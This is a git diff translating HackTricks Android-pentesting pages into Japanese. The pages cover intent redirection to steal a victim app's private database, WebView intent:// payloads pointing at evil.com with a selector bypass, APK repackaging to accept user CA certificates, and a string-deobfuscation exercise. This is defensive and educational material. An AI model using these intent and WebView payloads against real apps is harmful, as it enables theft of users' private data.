`/data/data/com.victim/databases/secret.db` に秘密のデータが保存されているとします。このファイルの盗難は、次のように見えるかもしれません `MainActivity.java` ```java Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); @@ -177,120 +203,101 @@ intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` - `LeakActivity.java` - ```java InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server ``` +## WebViewを介した任意のコンポーネントへのアクセス -## Access to arbitrary components via WebView +`Intent.toUri(flags)`を使用してIntentオブジェクトを文字列にキャストし、`Intent.parseUri(stringUri, flags)`を使用して文字列からIntentに戻すことができます。この機能は、WebView(アプリの組み込みブラウザ)でよく使用されます。アプリは`intent://`スキームを確認し、URLをIntentに解析してアクティビティを起動することができます。 -An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**. - -**This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side - -Example of vulnerable code +この脆弱性は、クライアントアプリ内の他の脆弱性(例:エクスポートされたアクティビティを介してWebViewで任意のリンクを直接開く能力やディープリンクメカニズムを介して)や、リモートで悪用することができます。これには、サーバーサイドでのクロスサイトスクリプティングやクライアントサイドでのMitMなどが含まれます。 +脆弱なコードの例 ```java public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { - Uri uri = request.getUrl(); - if("intent".equals(uri.getScheme())) { - startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME)); - return true; - } - return super.shouldOverrideUrlLoading(view, request); +Uri uri = request.getUrl(); +if("intent".equals(uri.getScheme())) { +startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME)); +return true; +} +return super.shouldOverrideUrlLoading(view, request); } ``` +ここでのポイントは、`WebViewClient`クラスの`shouldOverrideUrlLoading(...)`メソッドが、WebViewが新しいリンクを読み込もうとするたびに呼び出されるが、アプリにカスタムハンドラを追加するオプションを提供することです。 -The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler. - -To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation - +この脆弱性を悪用するために、攻撃者は特別に準備されたインテントスキームURLへのWebViewリダイレクトを作成する必要があります。URL作成の例は以下の通りです。 ```java Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); intent.putExtra("url", "http://evil.com/"); Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end" ``` - -Example attack - +攻撃の例 ```java location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"; ``` +このバージョンは、クラシックバージョンの脆弱性と比較して、いくつかの制限があります: -This version contains **several restrictions compared to the classic versio**n of the vulnerability: - -* Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored) -* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare - -Many developers still forget to carry out a complete filtering of intents received via WebView +- 埋め込まれた`Parcelable`および`Serializable`オブジェクトは文字列にキャストできません(無視されます) +- `Intent.parseUri(...)`が呼び出されると、安全でないフラグ`Intent.FLAG_GRANT_READ_URI_PERMISSION`および`Intent.FLAG_GRANT_WRITE_URI_PERMISSION`は**無視されます**。パーサーは、`Intent.URI_ALLOW_UNSAFE`(`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`フラグが設定されている場合にのみ)それらを残しますが、これは非常にまれです。 +多くの開発者は、WebView経由で受け取ったインテントの完全なフィルタリングを行うことを忘れています。 ```java public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { - Uri uri = request.getUrl(); - if("intent".equals(uri.getScheme())) { - Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME); - intent.addCategory("android.intent.category.BROWSABLE"); - intent.setComponent(null); - startActivity(intent); - return true; - } - return super.shouldOverrideUrlLoading(view, request); +Uri uri = request.getUrl(); +if("intent".equals(uri.getScheme())) { +Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME); +intent.addCategory("android.intent.category.BROWSABLE"); +intent.setComponent(null); +startActivity(intent); +return true; +} +return super.shouldOverrideUrlLoading(view, request); } ``` - -The attacker can specify a non-exported component via a selector - +攻撃者は、セレクタを介して非公開のコンポーネントを指定することができます。 ```java Intent intent = new Intent(); intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity")); intent.putExtra("url", "http://evil.com/"); Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end" ``` - -And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well - +そして、アプリの明示的なインテントに対する保護をバイパスします。したがって、セレクタもフィルタリングすることをおすすめします。 ```java intent.addCategory("android.intent.category.BROWSABLE"); intent.setComponent(null); intent.setSelector(null); ``` - -But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration: - +しかし、完全なフィルタリングでも完全な保護を保証するわけではありません。なぜなら、攻撃者は非公開のアクティビティに対応する`intent-filter`に対して暗黙的なインテントを作成することができるからです。アクティビティの宣言の例: ```markup - - - - - + + + + + ``` ```java webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders()); ``` +したがって、アクティビティが起動される前に、それがエクスポートされているかどうかを確認することをお勧めします。 -We therefore recommend checking that an activity is exported before it is launched. - -## Other ways of creating insecure intents - -Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it +## インセキュアなインテントを作成する他の方法 +一部のアプリ開発者は、**独自のインテントパーサー**(しばしば**ディープリンク**やプッシュメッセージを処理するため)を実装しています。これらは、**JSON**オブジェクト、文字列、またはバイト配列を使用しており、デフォルトとは異ならないか、あるいは大きな危険をもたらす可能性があります。なぜなら、これらは**`Serializable`**および`Parcelable`オブジェクトを展開することができ、またインセキュアなフラグを設定することもできるからです。セキュリティ研究者は、バイト配列を`Parcel`にキャストし、そこからインテントを読み取るというよりエキゾチックなバージョンのインテント作成にも遭遇するかもしれません。 ```java Uri deeplinkUri = getIntent().getData(); if(deeplinkUri.toString().startsWith("deeplink://handle/")) { - byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0); - Parcel parcel = Parcel.obtain(); - parcel.unmarshall(handle, 0, handle.length); - startActivity((Intent) parcel.readParcelable(getClassLoader())); +byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0); +Parcel parcel = Parcel.obtain(); +parcel.unmarshall(handle, 0, handle.length); +startActivity((Intent) parcel.readParcelable(getClassLoader())); } ``` - -# Vuln app +# 脆弱なアプリ {% embed url="https://github.com/oversecured/ovaa" %} @@ -299,16 +306,14 @@ if(deeplinkUri.toString().startsWith("deeplink://handle/")) { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index f076ce4bf..e0111af1b 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -1,82 +1,75 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-Some applications don't like user downloaded certificates, so in order to inspect web traffic for some apps we actually have to decompile the application & add a few things & recompile it. +一部のアプリケーションは、ユーザーがダウンロードした証明書を受け付けないため、一部のアプリのWebトラフィックを検査するために、実際にはアプリケーションを逆コンパイルしていくつかの変更を加え、再コンパイルする必要があります。 -# Automatic +# 自動 -The tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) will **automatically** make the necessary changes to the application to start capturing the requests and will also disable certificate pinning (if any). +ツール[**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)は、必要な変更を自動的に行い、リクエストのキャプチャを開始し、証明書ピンニングも無効にします(存在する場合)。 -# Manual +# 手動 -First we decompile the app: `apktool d *file-name*.apk` +まず、アプリを逆コンパイルします:`apktool d *file-name*.apk` ![](../../.gitbook/assets/img9.png) -Then we go into the **Manifest.xml** file & scroll down to the `<\application android>` tag & we are going to add the following line if it isn't already there: +次に、**Manifest.xml**ファイルに移動し、`<\application android>`タグまでスクロールし、次の行を追加します(まだ存在しない場合): `android:networkSecurityConfig="@xml/network_security_config` -Before adding: +追加する前: ![](../../.gitbook/assets/img10.png) -After adding: +追加後: ![](../../.gitbook/assets/img11.png) -Now go into the **res/xml** folder & create/modify a file named network\_security\_config.xml with the following contents: - +次に、**res/xml**フォルダに移動し、次の内容でnetwork_security_config.xmlという名前のファイルを作成/変更します: ```markup - - - - - - - - - - + + + + + + + + + + ``` - -Then save the file & back out of all the directories & rebuild the apk with the following command: `apktool b *folder-name/* -o *output-file.apk*` +次に、以下のコマンドを使用して、ファイルを保存し、すべてのディレクトリから戻り、次のコマンドでapkを再構築します:`apktool b *folder-name/* -o *output-file.apk*` ![](../../.gitbook/assets/img12.png) -Finally, you need just to **sign the new application**. [Read this section of the page Smali - Decompiling/\[Modifying\]/Compiling to learn how to sign it](smali-changes.md#sing-the-new-apk). - +最後に、新しいアプリケーションに署名するだけです。[このページのSmaliセクションを読んで、どのように署名するかを学んでください](smali-changes.md#sing-the-new-apk)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md index 24b6a18e3..2d3b22dad 100644 --- a/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -1,82 +1,76 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを! -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう! -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Copied from **[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** (you can find solutions there)** +**[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)**からコピー(解決策はそこにあります)** -![Logo](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png) +![ロゴ](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png) -There are many times when the application you’re reversing will not be as straight forward as some of the examples we’ve discussed. The developer will implement one or more obfuscation techniques to hide the behavior and/or implementation of their app. This can be for both benign and malicious reasons. +アプリケーションのリバースエンジニアリングがいくつかの例と同じくらい簡単ではない場合があります。開発者はアプリの動作や実装を隠すために1つ以上の難読化技術を実装します。これは善意のものでも悪意のあるものでもあります。 -The key about obfuscation to remember is that if you want to de-obfuscate it, you will be able to. The key decision is not whether or not you can, but whether or not it’s worth the resources to de-obfuscate. +難読化について覚えておくべき重要な点は、難読化を解除することができるかどうかではなく、難読化を解除するためのリソースを投入する価値があるかどうかです。 -The reason that you can always de-obfuscate something is because ultimately the CPU at some point has to see the unobfuscated code in order to run it. +常に何かを難読化解除できるのは、最終的にはCPUが実行するためには難読化解除されていないコードを見る必要があるためです。 -## How to De-Obfuscate +## 難読化解除の方法 -How you choose to de-obfuscate the application will depend on the obfuscation method, but there are a couple of common techniques that usually work well. Here, we will only touch on the static de-obfuscation techniques since this workshop only covers static analysis/reversing. However, do remember that running the application and dynamically analyzing it can be another great way to get around obfuscation. +アプリケーションの難読化解除方法は、難読化の方法によって異なりますが、通常うまく機能するいくつかの一般的なテクニックがあります。ここでは、静的な難読化解除技術についてのみ触れます。このワークショップでは静的解析/リバースエンジニアリングのみをカバーしているためです。ただし、アプリケーションを実行して動的に解析することも、難読化を回避するための素晴らしい方法です。 -For obfuscation in the DEX bytecode (Java), one of the easiest ways to statically deobfuscate is to identify the de-obfuscation methods in the application and copy their decompilation into a Java file that you then run on the obfuscated file, strings, code, etc. +DEXバイトコード(Java)の難読化の場合、静的に難読化解除する最も簡単な方法の1つは、アプリケーション内の難読化解除メソッドを特定し、それらの逆コンパイルをJavaファイルにコピーして、難読化されたファイル、文字列、コードなどで実行することです。 -Another solution for both Java and Native Code is to transliterate the de-obfuscation algorithm into Python or any other scripting language that you’re most comfortable. I say “transliterate” because it’s important to remember that you don’t always need to \*understand\* the de-obfuscation algorithm, you just need a way to execute it. I cover this in more detail in the “Unpacking the Packed Unpacker” talk that is linked in the “More Examples” section. +Javaとネイティブコードの両方に対する別の解決策は、難読化解除アルゴリズムをPythonまたは他のスクリプト言語に変換することです。ここで言う「変換」とは、難読化解除アルゴリズムを\*理解\*する必要がないということです。実行する方法があれば十分です。これについては、「Unpacking the Packed Unpacker」というトークで詳しく説明しています。詳細は「その他の例」セクションにリンクされています。 -## Indicators of Obfuscation +## 難読化の指標 -There are many different types of obfuscation and thus, just as many different types of indicators to alert you as the analyst that an application is likely obfuscated, but here are a few examples with proposed static analysis solutions for deobfuscating. +難読化の種類はさまざまであり、したがって、アプリケーションが難読化されている可能性を示す解析者への警告としての指標もさまざまですが、次にいくつかの例と難読化解除のための提案された静的解析ソリューションを示します。 -* No strings: Java and Android are highly dependent on strings so if you don’t see any or only scrambled strings, it’s highly likely the strings are obfuscated. - * Suggested solution: Look for method calls that take strings as an argument and trace back where that argument is coming from. At some point the string argument will be going through a deobfuscation method before it’s passed to the API that takes the String argument. -* Scrambled strings: The Java and Android APIs require the plain text strings, not scrambled. - * Suggested solution: The scrambled strings are all likely passed to the same methods prior to being passed to the APIs. These methods are likely the deobfuscation methods. -* Binary files in the assets/ directory and DexClassLoader calls in the app: Likely unpacking and loading additional code. (Could also be downloading from a remote location and then loading using DexClassLoader) - * Suggestion Solution: Identify where the file is read and then follow the path. It is likely deobfuscated quickly after being read. -* Native libraries - Can’t identify the JNI functions (no funcs named Java\_ and no calls to RegisterNatives): In order to execute any native methods, JNI has to be able to pair the function in the native library with the native method declaration in Java and thus one of the two must exist at some point. - * Suggested Solution: Start at JNI_OnLoad method and look for a de-obfuscation routine that loads additional code. +* 文字列がない:JavaとAndroidは文字列に非常に依存しているため、文字列が表示されないか、またはスクランブルされた文字列のみが表示される場合、文字列が難読化されている可能性が高いです。 +* 提案される解決策:文字列を引数として受け取るメソッド呼び出しを探し、その引数がどこから来ているかを追跡します。いずれにしても、文字列引数は、String引数を受け取るAPIに渡される前に難読化メソッドを通過するはずです。 +* スクランブルされた文字列:JavaとAndroidのAPIは、平文の文字列を必要とします。 +* 提案される解決策:スクランブルされた文字列は、おそらく同じメソッドに渡されるでしょう。これらのメソッドはおそらく難読化メソッドです。 +* assets/ディレクトリ内のバイナリファイルとアプリ内のDexClassLoader呼び出し:おそらく追加のコードを展開して読み込んでいます。(リモートの場所からダウンロードしてからDexClassLoaderを使用して読み込むこともあります) +* 提案される解決策:ファイルが読み込まれる場所を特定し、そのパスをたどります。おそらく、読み込まれた直後に難読化が解除されます。 +* ネイティブライブラリ - JNI関数を特定できない(Java\_という名前の関数がなく、RegisterNativesへの呼び出しがない):ネイティブメソッドを実行するためには、JNIがネイティブライブラリ内の関数をJavaのネイティブメソッド宣言とペアにする必要があり、そのいずれかがある必要があります。 +* 提案される解決策:JNI_OnLoadメソッドから始めて、追加のコードを読み込む難読化ルーチンを探します。 +## Exercise 7 - 文字列の復号化 -## Exercise 7 - String Deobfuscation +この演習では、アプリケーションを分析するために文字列の復号化を練習します。演習では、VM内の`~/samples/ClashOfLights.apk`にあるサンプルを使用します。このサンプルのSHA256ダイジェストはc403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5です。 -In this exercise, we will practice de-obfuscating strings in order to analyze an application. For the exercise we will use the sample at `~/samples/ClashOfLights.apk` in the VM. This sample has the SHA256 digest c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5. +### ゴール -### Goals +復号化する必要がある文字列を特定し、復号化するための解決策を開発すること。 -To identify obfuscated strings and develop a solution to deobfuscate it. +### 演習の文脈 -### Exercise Context +あなたはマルウェアアナリストで、このアプリケーションがマルウェアかどうかを判断するためにこのアプリケーションをレビューしています。ロードされている難読化されたJavascriptの文字列に遭遇し、アプリケーションが悪意のあるものかどうかを判断するためにそれを復号化する必要があります。アプリケーションを動的に実行することはできず、Javascriptの内容を静的に判断する必要があります。 -You are a malware analyst reviewing this application to determine if it’s malware. You come across an obfuscated Javascript string that is being loaded and need to deobfuscate it to determine whether or not the application is malicious. You can’t run the application dynamically and need to determine what the Javascript is statically. +### 手順 -### Instructions +1. 復号化する必要のある文字列を見つける +2. それを復号化するルーチンを特定する +3. 文字列を復号化するための解決策をどのように書くかを決定する +4. 実行する :) -1. Find the string that you need to de-obfuscate -2. Identify the routine that de-obfuscates it. -3. Determine how you want to write a solution to de-obfuscate the string. -4. Do it :) - -### Solution - -The deobfuscated string is: +### 解決策 +復号化された文字列は次のとおりです: ``` ``` - -The Python script I wrote to de-obfuscate it is: - +私が作成したPythonスクリプトは、以下の通りです: ``` enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C" @@ -84,8 +78,8 @@ length = len(enc_str) count = 0 dec_str = [0] * (length/2) while (count < length): - dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF - count += 2 +dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF +count += 2 print dec_str @@ -94,35 +88,32 @@ enc_str = dec_str count = 0 length = len(enc_str) while (count < length): - dec_str[count] = chr(enc_str[count] ^ key[count % len(key)]) - count += 1 +dec_str[count] = chr(enc_str[count] ^ key[count % len(key)]) +count += 1 print ''.join(dec_str) ``` +## その他の例 -## More Examples +私はさまざまな難読化メカニズムを含むAndroidアプリの難読化についての数回の講演を行ってきました。これらの講演では、高度な難読化技術、それらを難読化するための私の解決策、および難読化を解除する方法を決定する際に考慮した事項と選択肢について説明しています。 -I have done a few talks on de-obfuscating Android apps that include a variety of obfuscation mechanisms. In these talks, I discuss the advanced obfuscation techniques, my solution to de-obfuscate them, and the considerations and choices I made when deciding how I wanted to deobfuscate. - -* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] - * This talk goes over reverse engineering one of the most complex anti-analysis native libraries I’ve seen used by an Android application. It covers mostly obfuscation techniques in native code. -* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] - * This talk discusses a series of obfuscation techniques, solely in Java code, that an Android botnet was using to hide its behavior. +* BlackHat USA 2018: 「Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library」 \[[ビデオ](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] +* この講演では、Androidアプリケーションで使用される最も複雑なアンチアナリシスネイティブライブラリのリバースエンジニアリングについて説明しています。主にネイティブコードの難読化技術についてカバーしています。 +* REcon 2019: 「The Path to the Payload: Android Edition」 \[[ビデオ](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] +* この講演では、Androidボットネットがその動作を隠すために使用していたJavaコードの一連の難読化技術について説明しています。
